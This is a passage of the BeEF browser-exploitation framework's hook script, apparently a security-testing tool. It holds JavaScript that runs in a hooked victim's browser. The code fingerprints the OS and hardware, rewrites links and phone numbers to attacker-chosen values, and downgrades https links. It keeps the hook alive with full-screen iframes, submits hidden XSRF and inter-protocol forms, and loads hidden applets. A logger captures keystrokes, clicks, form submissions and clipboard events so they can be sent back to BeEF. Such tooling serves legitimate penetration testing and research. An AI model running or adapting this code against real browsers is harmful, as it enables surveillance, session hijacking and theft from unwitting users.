7230 isOpenBSD: function() {
7231 return (this.ua.indexOf('OpenBSD') != -1) ? true : false;
7232 },
7233
7234 isSunOS: function() {
7235 return (this.ua.indexOf('SunOS') != -1) ? true : false;
7236 },
7237
7238 isLinux: function() {
7239 return (this.ua.match('(Linux)|(X11)')) ? true : false;
7240 },
7241
7242 isMacintosh: function() {
7243 return (this.ua.match('(Mac_PowerPC)|(Macintosh)|(MacIntel)')) ? true : false;
7244 },
7245
7246 isOsxYosemite: function(){ // TODO
7247 return (this.ua.match('(OS X 10_10)|(OS X 10.10)')) ? true : false;
7248 },
7249 isOsxMavericks: function(){ // TODO
7250 return (this.ua.match('(OS X 10_9)|(OS X 10.9)')) ? true : false;
7251 },
7252 isOsxSnowLeopard: function(){ // TODO
7253 return (this.ua.match('(OS X 10_8)|(OS X 10.8)')) ? true : false;
7254 },
7255 isOsxLeopard: function(){ // TODO
7256 return (this.ua.match('(OS X 10_7)|(OS X 10.7)')) ? true : false;
7257 },
7258
7259 isWinPhone: function() {
7260 return (this.ua.match('(Windows Phone)')) ? true : false;
7261 },
7262
7263 isIphone: function() {
7264 return (this.ua.indexOf('iPhone') != -1) ? true : false;
7265 },
7266
7267 isIpad: function() {
7268 return (this.ua.indexOf('iPad') != -1) ? true : false;
7269 },
7270
7271 isIpod: function() {
7272 return (this.ua.indexOf('iPod') != -1) ? true : false;
7273 },
7274
7275 isNokia: function() {
7276 return (this.ua.match('(Maemo Browser)|(Symbian)|(Nokia)')) ? true : false;
7277 },
7278
7279 isAndroid: function() {
7280 return (this.ua.match('Android')) ? true : false;
7281 },
7282
7283 isBlackBerry: function() {
7284 return (this.ua.match('BlackBerry')) ? true : false;
7285 },
7286
7287 isWebOS: function() {
7288 return (this.ua.match('webOS')) ? true : false;
7289 },
7290
7291 isQNX: function() {
7292 return (this.ua.match('QNX')) ? true : false;
7293 },
7294
7295 isBeOS: function() {
7296 return (this.ua.match('BeOS')) ? true : false;
7297 },
7298
7299 isAros: function() {
7300 return (this.ua.match('AROS')) ? true : false;
7301 },
7302
7303 isWindows: function() {
7304 return (this.ua.match('Windows')) ? true : false;
7305 },
7306
7307 getName: function() {
7308
7309 if(this.isWindows()){
7310 return 'Windows';
7311 }
7312
7313 if(this.isMacintosh()) {
7314 return 'OSX';
7315 }
7316
7317 //Nokia
7318 if(this.isNokia()) {
7319 if (this.ua.indexOf('Maemo Browser') != -1) return 'Maemo';
7320 if (this.ua.match('(SymbianOS)|(Symbian OS)')) return 'SymbianOS';
7321 if (this.ua.indexOf('Symbian') != -1) return 'Symbian';
7322 }
7323
7324 // BlackBerry
7325 if(this.isBlackBerry()) return 'BlackBerry OS';
7326
7327 // Android
7328 if(this.isAndroid()) return 'Android';
7329
7330 // SunOS
7331 if(this.isSunOS()) return 'SunOS';
7332
7333 //Linux
7334 if(this.isLinux()) return 'Linux';
7335
7336 //iPhone
7337 if (this.isIphone()) return 'iOS';
7338 //iPad
7339 if (this.isIpad()) return 'iOS';
7340 //iPod
7341 if (this.isIpod()) return 'iOS';
7342
7343 //others
7344 if(this.isQNX()) return 'QNX';
7345 if(this.isBeOS()) return 'BeOS';
7346 if(this.isWebOS()) return 'webOS';
7347 if(this.isAros()) return 'AROS';
7348
7349 return 'unknown';
7350 },
7351
7352 getVersion: function(){
7353 //Windows
7354 if(this.isWindows()) {
7355 if (this.isWin10()) return '10';
7356 if (this.isWin81()) return '8.1';
7357 if (this.isWin8()) return '8';
7358 if (this.isWin7()) return '7';
7359 if (this.isWinVista()) return 'Vista';
7360 if (this.isWinXP()) return 'XP';
7361 if (this.isWinServer2003()) return 'Server 2003';
7362 if (this.isWin2000SP1()) return '2000 SP1';
7363 if (this.isWin2000()) return '2000';
7364 if (this.isWinME()) return 'Millenium';
7365
7366 if (this.isWinNT4()) return 'NT 4';
7367 if (this.isWinCE()) return 'CE';
7368 if (this.isWin95()) return '95';
7369 if (this.isWin98()) return '98';
7370 }
7371
7372 // OS X
7373 if(this.isMacintosh()) {
7374 if (this.isOsxYosemite()) return '10.10';
7375 if (this.isOsxMavericks()) return '10.9';
7376 if (this.isOsxSnowLeopard()) return '10.8';
7377 if (this.isOsxLeopard()) return '10.7';
7378 }
7379
7380 // TODO add Android/iOS version detection
7381 }
7382};
7383
7384beef.regCmp('beef.net.os');
7385
7386
7387//
7388// Copyright (c) 2006-2018 Wade Alcorn - wade@bindshell.net
7389// Browser Exploitation Framework (BeEF) - http://beefproject.com
7390// See the file 'doc/COPYING' for copying permission
7391//
7392
7393beef.hardware = {
7394
7395 ua: navigator.userAgent,
7396
7397 /*
7398 * @return: {String} CPU type
7399 **/
7400 cpuType: function() {
7401 var arch = 'UNKNOWN';
7402 // note that actually WOW64 means IE 32bit and Windows 64 bit. we are more interested
7403 // in detecting the OS arch rather than the browser build
7404 if (navigator.userAgent.match('(WOW64|x64|x86_64)') || navigator.platform.toLowerCase() == "win64"){
7405 arch = 'x86_64';
7406 }else if(typeof navigator.cpuClass != 'undefined'){
7407 switch (navigator.cpuClass) {
7408 case '68K':
7409 arch = 'Motorola 68K';
7410 break;
7411 case 'PPC':
7412 arch = 'Motorola PPC';
7413 break;
7414 case 'Digital':
7415 arch = 'Alpha';
7416 break;
7417 default:
7418 arch = 'x86';
7419 }
7420 }
7421 // TODO we can infer the OS is 64 bit, if we first detect the OS type (os.js).
7422 // For example, if OSX is at least 10.7, most certainly is 64 bit.
7423 return arch;
7424 },
7425
7426 /*
7427 * @return: {Boolean} true or false.
7428 **/
7429 isTouchEnabled: function() {
7430 if ('ontouchstart' in document) return true;
7431 return false;
7432 },
7433
7434 /*
7435 * @return: {Boolean} true or false.
7436 **/
7437 isVirtualMachine: function() {
7438 if (this.isMobileDevice()) return false;
7439 if (screen.width % 2 || screen.height % 2) return true;
7440 return false;
7441 },
7442
7443 /*
7444 * @return: {Boolean} true or false.
7445 **/
7446 isLaptop: function() {
7447 if (this.isMobileDevice()) return false;
7448 // Most common laptop screen resolution
7449 if (screen.width == 1366 && screen.height == 768) return true;
7450 // Netbooks
7451 if (screen.width == 1024 && screen.height == 600) return true;
7452 return false;
7453 },
7454
7455 /*
7456 * @return: {Boolean} true or false.
7457 **/
7458 isNokia: function() {
7459 return (this.ua.match('(Maemo Browser)|(Symbian)|(Nokia)|(Lumia )')) ? true : false;
7460 },
7461
7462 /*
7463 * @return: {Boolean} true or false.
7464 **/
7465 isZune: function() {
7466 return (this.ua.match('ZuneWP7')) ? true : false;
7467 },
7468
7469 /*
7470 * @return: {Boolean} true or false.
7471 **/
7472 isHtc: function() {
7473 return (this.ua.match('HTC')) ? true : false;
7474 },
7475
7476 /*
7477 * @return: {Boolean} true or false.
7478 **/
7479 isEricsson: function() {
7480 return (this.ua.match('Ericsson')) ? true : false;
7481 },
7482
7483 /*
7484 * @return: {Boolean} true or false.
7485 **/
7486 isMotorola: function() {
7487 return (this.ua.match('Motorola')) ? true : false;
7488 },
7489
7490 /*
7491 * @return: {Boolean} true or false.
7492 **/
7493 isGoogle: function() {
7494 return (this.ua.match('Nexus One')) ? true : false;
7495 },
7496
7497 /**
7498 * Returns true if the browser is on a Mobile device
7499 * @return: {Boolean} true or false
7500 *
7501 * @example: if(beef.hardware.isMobileDevice()) { ... }
7502 **/
7503 isMobileDevice: function() {
7504 return MobileEsp.DetectMobileQuick();
7505 },
7506
7507 /**
7508 * Returns true if the browser is on a game console
7509 * @return: {Boolean} true or false
7510 *
7511 * @example: if(beef.hardware.isGameConsole()) { ... }
7512 **/
7513 isGameConsole: function() {
7514 return MobileEsp.DetectGameConsole();
7515 },
7516
7517 getName: function() {
7518 var ua = navigator.userAgent.toLowerCase();
7519 if(MobileEsp.DetectIphone()) { return "iPhone"};
7520 if(MobileEsp.DetectIpod()) { return "iPod Touch"};
7521 if(MobileEsp.DetectIpad()) { return "iPad"};
7522 if (this.isHtc()) { return 'HTC'};
7523 if (this.isMotorola()) { return 'Motorola'};
7524 if (this.isZune()) { return 'Zune'};
7525 if (this.isGoogle()) { return 'Google Nexus One'};
7526 if (this.isEricsson()) { return 'Ericsson'};
7527 if(MobileEsp.DetectAndroidPhone()) { return "Android Phone"};
7528 if(MobileEsp.DetectAndroidTablet()) { return "Android Tablet"};
7529 if(MobileEsp.DetectS60OssBrowser()) { return "Nokia S60 Open Source"};
7530 if(ua.search(MobileEsp.deviceS60) > -1) { return "Nokia S60"};
7531 if(ua.search(MobileEsp.deviceS70) > -1) { return "Nokia S70"};
7532 if(ua.search(MobileEsp.deviceS80) > -1) { return "Nokia S80"};
7533 if(ua.search(MobileEsp.deviceS90) > -1) { return "Nokia S90"};
7534 if(ua.search(MobileEsp.deviceSymbian) > -1) { return "Nokia Symbian"};
7535 if (this.isNokia()) { return 'Nokia'};
7536 if(MobileEsp.DetectWindowsPhone7()) { return "Windows Phone 7"};
7537 if(MobileEsp.DetectWindowsPhone8()) { return "Windows Phone 8"};
7538 if(MobileEsp.DetectWindowsPhone10()) { return "Windows Phone 10"};
7539 if(MobileEsp.DetectWindowsMobile()) { return "Windows Mobile"};
7540 if(MobileEsp.DetectBlackBerryTablet()) { return "BlackBerry Tablet"};
7541 if(MobileEsp.DetectBlackBerryWebKit()) { return "BlackBerry OS 6"};
7542 if(MobileEsp.DetectBlackBerryTouch()) { return "BlackBerry Touch"};
7543 if(MobileEsp.DetectBlackBerryHigh()) { return "BlackBerry OS 5"};
7544 if(MobileEsp.DetectBlackBerry()) { return "BlackBerry"};
7545 if(MobileEsp.DetectPalmOS()) { return "Palm OS"};
7546 if(MobileEsp.DetectPalmWebOS()) { return "Palm Web OS"};
7547 if(MobileEsp.DetectGarminNuvifone()) { return "Gamin Nuvifone"};
7548 if(MobileEsp.DetectArchos()) { return "Archos"}
7549 if(MobileEsp.DetectBrewDevice()) { return "Brew"};
7550 if(MobileEsp.DetectDangerHiptop()) { return "Danger Hiptop"};
7551 if(MobileEsp.DetectMaemoTablet()) { return "Maemo Tablet"};
7552 if(MobileEsp.DetectSonyMylo()) { return "Sony Mylo"};
7553 if(MobileEsp.DetectAmazonSilk()) { return "Kindle Fire"};
7554 if(MobileEsp.DetectKindle()) { return "Kindle"};
7555 if(MobileEsp.DetectSonyPlaystation()) { return "Playstation"};
7556 if(ua.search(MobileEsp.deviceNintendoDs) > -1) { return "Nintendo DS"};
7557 if(ua.search(MobileEsp.deviceWii) > -1) { return "Nintendo Wii"};
7558 if(ua.search(MobileEsp.deviceNintendo) > -1) { return "Nintendo"};
7559 if(MobileEsp.DetectXbox()) { return "Xbox"};
7560 if(this.isLaptop()) { return "Laptop"};
7561 if(this.isVirtualMachine()) { return "Virtual Machine"};
7562
7563 return 'Unknown';
7564 }
7565};
7566
7567beef.regCmp('beef.hardware');
7568
7569
7570//
7571// Copyright (c) 2006-2018 Wade Alcorn - wade@bindshell.net
7572// Browser Exploitation Framework (BeEF) - http://beefproject.com
7573// See the file 'doc/COPYING' for copying permission
7574//
7575
7576/*!
7577 * @literal object: beef.dom
7578 *
7579 * Provides functionality to manipulate the DOM.
7580 */
7581beef.dom = {
7582
7583 /**
7584 * Generates a random ID for HTML elements
7585 * @param: {String} prefix: a custom prefix before the random id. defaults to "beef-"
7586 * @return: generated id
7587 */
7588 generateID: function(prefix) {
7589 return ((prefix == null) ? 'beef-' : prefix)+Math.floor(Math.random()*99999);
7590 },
7591
7592 /**
7593 * Creates a new element but does not append it to the DOM.
7594 * @param: {String} the name of the element.
7595 * @param: {Literal Object} the attributes of that element.
7596 * @return: the created element.
7597 */
7598 createElement: function(type, attributes) {
7599 var el = document.createElement(type);
7600
7601 for(index in attributes) {
7602 if(typeof attributes[index] == 'string') {
7603 el.setAttribute(index, attributes[index]);
7604 }
7605 }
7606
7607 return el;
7608 },
7609
7610 /**
7611 * Removes element from the DOM.
7612 * @param: {String or DOM Object} the target element to be removed.
7613 */
7614 removeElement: function(el) {
7615 if (!beef.dom.isDOMElement(el))
7616 {
7617 el = document.getElementById(el);
7618 }
7619 try {
7620 el.parentNode.removeChild(el);
7621 } catch (e) { }
7622 },
7623
7624 /**
7625 * Tests if the object is a DOM element.
7626 * @param: {Object} the DOM element.
7627 * @return: true if the object is a DOM element.
7628 */
7629 isDOMElement: function(obj) {
7630 return (obj.nodeType) ? true : false;
7631 },
7632
7633 /**
7634 * Creates an invisible iframe on the hook browser's page.
7635 * @return: the iframe.
7636 */
7637 createInvisibleIframe: function() {
7638 var iframe = this.createElement('iframe', {
7639 width: '1px',
7640 height: '1px',
7641 style: 'visibility:hidden;'
7642 });
7643
7644 document.body.appendChild(iframe);
7645
7646 return iframe;
7647 },
7648
7649 /**
7650 * Returns the highest current z-index
7651 * @param: {Boolean} whether to return an associative array with the height AND the ID of the element
7652 * @return: {Integer} Highest z-index in the DOM
7653 * OR
7654 * @return: {Hash} A hash with the height and the ID of the highest element in the DOM {'height': INT, 'elem': STRING}
7655 */
7656 getHighestZindex: function(include_id) {
7657 var highest = {'height':0, 'elem':''};
7658 $j('*').each(function() {
7659 var current_high = parseInt($j(this).css("zIndex"),10);
7660 if (current_high > highest.height) {
7661 highest.height = current_high;
7662 highest.elem = $j(this).attr('id');
7663 }
7664 });
7665
7666 if (include_id) {
7667 return highest;
7668 } else {
7669 return highest.height;
7670 }
7671 },
7672
7673 /**
7674 * Create an iFrame element and prepend to document body. URI passed via 'src' property of function's 'params' parameter
7675 * is assigned to created iframe tag's src attribute resulting in GET request to that URI.
7676 * example usage in the code: beef.dom.createIframe('fullscreen', {'src':$j(this).attr('href')}, {}, null);
7677 * @param: {String} type: can be 'hidden' or 'fullScreen'. defaults to normal
7678 * @param: {Hash} params: list of params that will be sent in request.
7679 * @param: {Hash} styles: css styling attributes, these are merged with the defaults specified in the type parameter
7680 * @param: {Function} a callback function to fire once the iFrame has loaded
7681 * @return: {Object} the inserted iFrame
7682 *
7683 */
7684 createIframe: function(type, params, styles, onload) {
7685 var css = {};
7686
7687 if (type == 'hidden') {
7688 css = $j.extend(true, {'border':'none', 'width':'1px', 'height':'1px', 'display':'none', 'visibility':'hidden'}, styles);
7689 } else if (type == 'fullscreen') {
7690 css = $j.extend(true, {'border':'none', 'background-color':'white', 'width':'100%', 'height':'100%', 'position':'absolute', 'top':'0px', 'left':'0px', 'z-index':beef.dom.getHighestZindex()+1}, styles);
7691 $j('body').css({'padding':'0px', 'margin':'0px'});
7692 } else {
7693 css = styles;
7694 $j('body').css({'padding':'0px', 'margin':'0px'});
7695 }
7696 var iframe = $j('<iframe />').attr(params).css(css).load(onload).prependTo('body');
7697
7698 return iframe;
7699 },
7700
7701 /**
7702 * Load the link (href value) in an overlay foreground iFrame.
7703 * The BeEF hook continues to run in background.
7704 * NOTE: if the target link is returning X-Frame-Options deny/same-origin or uses
7705 * Framebusting techniques, this will not work.
7706 */
7707 persistentIframe: function(){
7708 $j('a').click(function(e) {
7709 if ($j(this).attr('href') != '')
7710 {
7711 e.preventDefault();
7712 beef.dom.createIframe('fullscreen', {'src':$j(this).attr('href')}, {}, null);
7713 $j(document).attr('title', $j(this).html());
7714 document.body.scroll = "no";
7715 document.documentElement.style.overflow = 'hidden';
7716 }
7717 });
7718 },
7719
7720 /**
7721 * Load a full screen div that is black, or, transparent
7722 * @param: {Boolean} vis: whether or not you want the screen dimmer enabled or not
7723 * @param: {Hash} options: a collection of options to customise how the div is configured, as follows:
7724 * opacity:0-100 // Lower number = less grayout higher = more of a blackout
7725 * // By default this is 70
7726 * zindex: # // HTML elements with a higher zindex appear on top of the gray out
7727 * // By default this will use beef.dom.getHighestZindex to always go to the top
7728 * bgcolor: (#xxxxxx) // Standard RGB Hex color code
7729 * // By default this is #000000
7730 */
7731 grayOut: function(vis, options) {
7732 // in any order. Pass only the properties you need to set.
7733 var options = options || {};
7734 var zindex = options.zindex || beef.dom.getHighestZindex()+1;
7735 var opacity = options.opacity || 70;
7736 var opaque = (opacity / 100);
7737 var bgcolor = options.bgcolor || '#000000';
7738 var dark=document.getElementById('darkenScreenObject');
7739 if (!dark) {
7740 // The dark layer doesn't exist, it's never been created. So we'll
7741 // create it here and apply some basic styles.
7742 // If you are getting errors in IE see: http://support.microsoft.com/default.aspx/kb/927917
7743 var tbody = document.getElementsByTagName("body")[0];
7744 var tnode = document.createElement('div'); // Create the layer.
7745 tnode.style.position='absolute'; // Position absolutely
7746 tnode.style.top='0px'; // In the top
7747 tnode.style.left='0px'; // Left corner of the page
7748 tnode.style.overflow='hidden'; // Try to avoid making scroll bars
7749 tnode.style.display='none'; // Start out Hidden
7750 tnode.id='darkenScreenObject'; // Name it so we can find it later
7751 tbody.appendChild(tnode); // Add it to the web page
7752 dark=document.getElementById('darkenScreenObject'); // Get the object.
7753 }
7754 if (vis) {
7755 // Calculate the page width and height
7756 if( document.body && ( document.body.scrollWidth || document.body.scrollHeight ) ) {
7757 var pageWidth = document.body.scrollWidth+'px';
7758 var pageHeight = document.body.scrollHeight+'px';
7759 } else if( document.body.offsetWidth ) {
7760 var pageWidth = document.body.offsetWidth+'px';
7761 var pageHeight = document.body.offsetHeight+'px';
7762 } else {
7763 var pageWidth='100%';
7764 var pageHeight='100%';
7765 }
7766 //set the shader to cover the entire page and make it visible.
7767 dark.style.opacity=opaque;
7768 dark.style.MozOpacity=opaque;
7769 dark.style.filter='alpha(opacity='+opacity+')';
7770 dark.style.zIndex=zindex;
7771 dark.style.backgroundColor=bgcolor;
7772 dark.style.width= pageWidth;
7773 dark.style.height= pageHeight;
7774 dark.style.display='block';
7775 } else {
7776 dark.style.display='none';
7777 }
7778 },
7779
7780 /**
7781 * Remove all external and internal stylesheets from the current page - sometimes prior to socially engineering,
7782 * or, re-writing a document this is useful.
7783 */
7784 removeStylesheets: function() {
7785 $j('link[rel=stylesheet]').remove();
7786 $j('style').remove();
7787 },
7788
7789 /**
7790 * Create a form element with the specified parameters, appending it to the DOM if append == true
7791 * @param: {Hash} params: params to be applied to the form element
7792 * @param: {Boolean} append: automatically append the form to the body
7793 * @return: {Object} a form object
7794 */
7795 createForm: function(params, append) {
7796 var form = $j('<form></form>').attr(params);
7797 if (append)
7798 $j('body').append(form);
7799 return form;
7800 },
7801
7802 loadScript: function(url) {
7803 var s = document.createElement('script');
7804 s.type = 'text/javascript';
7805 s.src = url;
7806 $j('body').append(s);
7807 },
7808
7809 /**
7810 * Get the location of the current page.
7811 * @return: the location.
7812 */
7813 getLocation: function() {
7814 return document.location.href;
7815 },
7816
7817 /**
7818 * Get links of the current page.
7819 * @return: array of URLs.
7820 */
7821 getLinks: function() {
7822 var linksarray = [];
7823 var links = document.links;
7824 for(var i = 0; i<links.length; i++) {
7825 linksarray = linksarray.concat(links[i].href)
7826 };
7827 return linksarray
7828 },
7829
7830 /**
7831 * Rewrites all links matched by selector to url, also rebinds the click method to simply return true
7832 * @param: {String} url: the url to be rewritten
7833 * @param: {String} selector: the jquery selector statement to use, defaults to all a tags.
7834 * @return: {Number} the amount of links found in the DOM and rewritten.
7835 */
7836 rewriteLinks: function(url, selector) {
7837 var sel = (selector == null) ? 'a' : selector;
7838 return $j(sel).each(function() {
7839 if ($j(this).attr('href') != null)
7840 {
7841 $j(this).attr('href', url).click(function() { return true; });
7842 }
7843 }).length;
7844 },
7845
7846 /**
7847 * Rewrites all links matched by selector to url, leveraging Bilawal Hameed's hidden click event overwriting.
7848 * http://bilaw.al/2013/03/17/hacking-the-a-tag-in-100-characters.html
7849 * @param: {String} url: the url to be rewritten
7850 * @param: {String} selector: the jquery selector statement to use, defaults to all a tags.
7851 * @return: {Number} the amount of links found in the DOM and rewritten.
7852 */
7853 rewriteLinksClickEvents: function(url, selector) {
7854 var sel = (selector == null) ? 'a' : selector;
7855 return $j(sel).each(function() {
7856 if ($j(this).attr('href') != null)
7857 {
7858 $j(this).click(function() {this.href=url});
7859 }
7860 }).length;
7861 },
7862
7863 /**
7864 * Parse all links in the page matched by the selector, replacing old_protocol with new_protocol (ex.:https with http)
7865 * @param: {String} old_protocol: the old link protocol to be rewritten
7866 * @param: {String} new_protocol: the new link protocol to be written
7867 * @param: {String} selector: the jquery selector statement to use, defaults to all a tags.
7868 * @return: {Number} the amount of links found in the DOM and rewritten.
7869 */
7870 rewriteLinksProtocol: function(old_protocol, new_protocol, selector) {
7871
7872 var count = 0;
7873 var re = new RegExp(old_protocol+"://", "gi");
7874 var sel = (selector == null) ? 'a' : selector;
7875
7876 $j(sel).each(function() {
7877 if ($j(this).attr('href') != null) {
7878 var url = $j(this).attr('href');
7879 if (url.match(re)) {
7880 $j(this).attr('href', url.replace(re, new_protocol+"://")).click(function() { return true; });
7881 count++;
7882 }
7883 }
7884 });
7885
7886 return count;
7887 },
7888
7889 /**
7890 * Parse all links in the page matched by the selector, replacing all telephone urls ('tel' protocol handler) with a new telephone number
7891 * @param: {String} new_number: the new link telephone number to be written
7892 * @param: {String} selector: the jquery selector statement to use, defaults to all a tags.
7893 * @return: {Number} the amount of links found in the DOM and rewritten.
7894 */
7895 rewriteTelLinks: function(new_number, selector) {
7896
7897 var count = 0;
7898 var re = new RegExp("tel:/?/?.*", "gi");
7899 var sel = (selector == null) ? 'a' : selector;
7900
7901 $j(sel).each(function() {
7902 if ($j(this).attr('href') != null) {
7903 var url = $j(this).attr('href');
7904 if (url.match(re)) {
7905 $j(this).attr('href', url.replace(re, "tel:"+new_number)).click(function() { return true; });
7906 count++;
7907 }
7908 }
7909 });
7910
7911 return count;
7912 },
7913
7914 /**
7915 * Given an array of objects (key/value), return a string of param tags ready to append in applet/object/embed
7916 * @params: {Array} an array of params for the applet, ex.: [{'argc':'5', 'arg0':'ReverseTCP'}]
7917 * @return: {String} the parameters as a string ready to append to applet/embed/object tags (ex.: <param name='abc' value='test' />).
7918 */
7919 parseAppletParams: function(params){
7920 var result = '';
7921 for (i in params){
7922 var param = params[i];
7923 for(key in param){
7924 result += "<param name='" + key + "' value='" + param[key] + "' />";
7925 }
7926 }
7927 return result;
7928 },
7929
7930 /**
7931 * Attach an applet to the DOM, using the best approach for differet browsers (object/applet/embed).
7932 * example usage in the code, using a JAR archive (recommended and faster):
7933 * beef.dom.attachApplet('appletId', 'appletName', 'SuperMario3D.class', null, 'http://127.0.0.1:3000/ui/media/images/target.jar', [{'param1':'1', 'param2':'2'}]);
7934 * example usage in the code, using codebase:
7935 * beef.dom.attachApplet('appletId', 'appletName', 'SuperMario3D', 'http://127.0.0.1:3000/', null, null);
7936 * @params: {String} id: reference identifier to the applet.
7937 * @params: {String} code: name of the class to be loaded. For example, beef.class.
7938 * @params: {String} codebase: the URL of the codebase (usually used when loading a single class for an unsigned applet).
7939 * @params: {String} archive: the jar that contains the code.
7940 * @params: {String} params: an array of additional params that the applet except.
7941 */
7942 attachApplet: function(id, name, code, codebase, archive, params) {
7943 var content = null;
7944 if (beef.browser.isIE()) {
7945 content = "" + // the classid means 'use the latest JRE available to launch the applet'
7946 "<object id='" + id + "'classid='clsid:8AD9C840-044E-11D1-B3E9-00805F499D93' " +
7947 "height='0' width='0' name='" + name + "'> " +
7948 "<param name='code' value='" + code + "' />";
7949
7950 if (codebase != null) {
7951 content += "<param name='codebase' value='" + codebase + "' />"
7952 }
7953 if (archive != null){
7954 content += "<param name='archive' value='" + archive + "' />";
7955 }
7956 if (params != null) {
7957 content += beef.dom.parseAppletParams(params);
7958 }
7959 content += "</object>";
7960 }
7961 if (beef.browser.isC() || beef.browser.isS() || beef.browser.isO() || beef.browser.isFF()) {
7962
7963 if (codebase != null) {
7964 content = "" +
7965 "<applet id='" + id + "' code='" + code + "' " +
7966 "codebase='" + codebase + "' " +
7967 "height='0' width='0' name='" + name + "'>";
7968 } else {
7969 content = "" +
7970 "<applet id='" + id + "' code='" + code + "' " +
7971 "archive='" + archive + "' " +
7972 "height='0' width='0' name='" + name + "'>";
7973 }
7974
7975 if (params != null) {
7976 content += beef.dom.parseAppletParams(params);
7977 }
7978 content += "</applet>";
7979 }
7980 // For some reasons JavaPaylod is not working if the applet is attached to the DOM with the embed tag rather than the applet tag.
7981// if (beef.browser.isFF()) {
7982// if (codebase != null) {
7983// content = "" +
7984// "<embed id='" + id + "' code='" + code + "' " +
7985// "type='application/x-java-applet' codebase='" + codebase + "' " +
7986// "height='0' width='0' name='" + name + "'>";
7987// } else {
7988// content = "" +
7989// "<embed id='" + id + "' code='" + code + "' " +
7990// "type='application/x-java-applet' archive='" + archive + "' " +
7991// "height='0' width='0' name='" + name + "'>";
7992// }
7993//
7994// if (params != null) {
7995// content += beef.dom.parseAppletParams(params);
7996// }
7997// content += "</embed>";
7998// }
7999 $j('body').append(content);
8000 },
8001
8002 /**
8003 * Given an id, remove the applet from the DOM.
8004 * @params: {String} id: reference identifier to the applet.
8005 */
8006 detachApplet: function(id) {
8007 $j('#' + id + '').detach();
8008 },
8009
8010 /**
8011 * Create an invisible iFrame with a form inside, and submit it. Useful for XSRF attacks delivered via POST requests.
8012 * @params: {String} action: the form action attribute, where the request will be sent.
8013 * @params: {String} method: HTTP method, usually POST.
8014 * @params: {String} enctype: form encoding type
8015 * @params: {Array} inputs: an array of inputs to be added to the form (type, name, value).
8016 * example: [{'type':'hidden', 'name':'1', 'value':''} , {'type':'hidden', 'name':'2', 'value':'3'}]
8017 */
8018 createIframeXsrfForm: function(action, method, enctype, inputs){
8019 var iframeXsrf = beef.dom.createInvisibleIframe();
8020
8021 var formXsrf = document.createElement('form');
8022 formXsrf.setAttribute('action', action);
8023 formXsrf.setAttribute('method', method);
8024 formXsrf.setAttribute('enctype', enctype);
8025
8026 var input = null;
8027 for (i in inputs){
8028 var attributes = inputs[i];
8029 input = document.createElement('input');
8030 for(key in attributes){
8031 if (key == 'name' && attributes[key] == 'submit') {
8032 // workaround for https://github.com/beefproject/beef/issues/1117
8033 beef.debug("createIframeXsrfForm - warning: changed form input 'submit' to 'Submit'");
8034 input.setAttribute('Submit', attributes[key]);
8035 } else {
8036 input.setAttribute(key, attributes[key]);
8037 }
8038 }
8039 formXsrf.appendChild(input);
8040 }
8041 iframeXsrf.contentWindow.document.body.appendChild(formXsrf);
8042 formXsrf.submit();
8043
8044 return iframeXsrf;
8045 },
8046
8047 /**
8048 * Create an invisible iFrame with a form inside, and POST the form in plain-text. Used for inter-protocol exploitation.
8049 * @params: {String} rhost: remote host ip/domain
8050 * @params: {String} rport: remote port
8051 * @params: {String} commands: protocol commands to be executed by the remote host:port service
8052 */
8053 createIframeIpecForm: function(rhost, rport, path, commands){
8054 var iframeIpec = beef.dom.createInvisibleIframe();
8055
8056 var formIpec = document.createElement('form');
8057 formIpec.setAttribute('action', 'http://'+rhost+':'+rport+path);
8058 formIpec.setAttribute('method', 'POST');
8059 formIpec.setAttribute('enctype', 'multipart/form-data');
8060
8061 input = document.createElement('textarea');
8062 input.setAttribute('name', Math.random().toString(36).substring(5));
8063 input.value = commands;
8064 formIpec.appendChild(input);
8065 iframeIpec.contentWindow.document.body.appendChild(formIpec);
8066 formIpec.submit();
8067
8068 return iframeIpec;
8069 }
8070
8071};
8072
8073beef.regCmp('beef.dom');
8074
8075
8076//
8077// Copyright (c) 2006-2018 Wade Alcorn - wade@bindshell.net
8078// Browser Exploitation Framework (BeEF) - http://beefproject.com
8079// See the file 'doc/COPYING' for copying permission
8080//
8081
8082/*!
8083 * @literal object: beef.logger
8084 *
8085 * Provides logging capabilities.
8086 */
8087beef.logger = {
8088
8089 running: false,
8090 /**
8091 * Internal logger id
8092 */
8093 id: 0,
8094 /**
8095 * Holds events created by user, to be sent back to BeEF
8096 */
8097 events: [],
8098 /**
8099 * Holds current stream of key presses
8100 */
8101 stream: [],
8102 /**
8103 * Contains current target of key presses
8104 */
8105 target: null,
8106 /**
8107 * Holds the time the logger was started
8108 */
8109 time: null,
8110 /**
8111 * Holds the event details to be sent to BeEF
8112 */
8113 e: function() {
8114 this.id = beef.logger.get_id();
8115 this.time = beef.logger.get_timestamp();
8116 this.type = null;
8117 this.x = 0;
8118 this.y = 0;
8119 this.target = null;
8120 this.data = null;
8121 this.mods = null;
8122 },
8123 /**
8124 * Prevents from recursive event handling on form submission
8125 */
8126 in_submit: false,
8127
8128 /**
8129 * Starts the logger
8130 */
8131 start: function() {
8132
8133 beef.browser.hookChildFrames();
8134 this.running = true;
8135 var d = new Date();
8136 this.time = d.getTime();
8137
8138 $j(document).off('keypress');
8139 $j(document).off('click');
8140 $j(window).off('focus');
8141 $j(window).off('blur');
8142 $j('form').off('submit');
8143 $j(document.body).off('copy');
8144 $j(document.body).off('cut');
8145 $j(document.body).off('paste');
8146
8147 if (!!window.console && typeof window.console == "object") {
8148 try {
8149 var oldInfo = window.console.info;
8150 console.info = function (message) {
8151 beef.logger.console('info', message);
8152 oldInfo.apply(console, arguments);
8153 };
8154 var oldLog = window.console.log;
8155 console.log = function (message) {
8156 beef.logger.console('log', message);
8157 oldLog.apply(console, arguments);
8158 };
8159 var oldWarn = window.console.warn;
8160 console.warn = function (message) {
8161 beef.logger.console('warn', message);
8162 oldWarn.apply(console, arguments);
8163 };
8164 var oldDebug = window.console.debug;
8165 console.debug = function (message) {
8166 beef.logger.console('debug', message);
8167 oldDebug.apply(console, arguments);
8168 };
8169 var oldError = window.console.error;
8170 console.error = function (message) {
8171 beef.logger.console('error', message);
8172 oldError.apply(console, arguments);
8173 };
8174 } catch(e) {}
8175 }
8176
8177 $j(document).keypress(
8178 function(e) { beef.logger.keypress(e); }
8179 ).click(
8180 function(e) { beef.logger.click(e); }
8181 );
8182 $j(window).focus(
8183 function(e) { beef.logger.win_focus(e); }
8184 ).blur(
8185 function(e) { beef.logger.win_blur(e); }
8186 );
8187 $j('form').submit(
8188 function(e) {
8189 beef.logger.submit(e);
8190 }
8191 );
8192 $j(document.body).on('copy', function() {
8193 setTimeout("beef.logger.copy();", 10);
8194 });
